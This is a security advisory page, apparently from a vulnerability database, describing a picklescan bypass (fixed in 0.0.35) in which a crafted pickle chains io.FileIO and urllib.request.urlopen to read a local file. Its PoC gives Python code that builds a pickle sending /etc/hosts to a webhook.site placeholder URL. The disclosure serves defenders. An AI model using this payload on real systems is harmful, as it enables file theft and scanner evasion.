Alta

picklescan has Arbitrary file read using `io.FileIO`

  • Publicada: 08.01.2026
  • Actualizado: 11.10.2026 13:18

Summary

Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.

Details

The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:

  1. io.FileIO: Opens local files without using builtins.open.

  2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.

  3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.

PoC

python
import pickle, io, urllib.request

class GetFile:
    def __reduce__(self):
        return (io.FileIO, ('/etc/hosts', 'r'))

class Exfiltrate:
    def __reduce__(self):
        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))

with open("bypass_http.pkl", "wb") as f:
    pickle.dump(Exfiltrate(), f)
<img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" />

Impact

  • Arbitrary file read

Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) picklescan < 0.0.35 0.0.35

Referencias

Puntuación CVSS 7.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Debilidad (CWE)
CWE-22, CWE-918
Plataforma
Python (PyPI)
Paquete
picklescan
Publicada
08.01.2026
Actualizado
11.10.2026 13:18

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-1787 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-9726-w42j-3qjr - CC BY 4.0

Historial de vulnerabilidades: picklescan

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (58) en el archivo
Entradas en total
58
Primera → última
02.2025 03.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 7
  • Alta 25
  • Media 26

Divulgaciones por año

  1. 2025: 51
  2. 2026: 7
Gravedad:
  1. Crítica · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  2. Crítica · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  3. picklescan has Arbitrary file read using `io.FileIO` esta entrada
    Alta · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  4. Alta · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  5. Alta ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  6. Alta CVE-2025-71320 < 0.0.33 0.0.33
  7. Alta · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  8. Alta CVE-2025-71321 < 0.0.33 0.0.33
  9. Crítica · 7.8 CVE-2025-10155 < 0.0.31 0.0.31

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.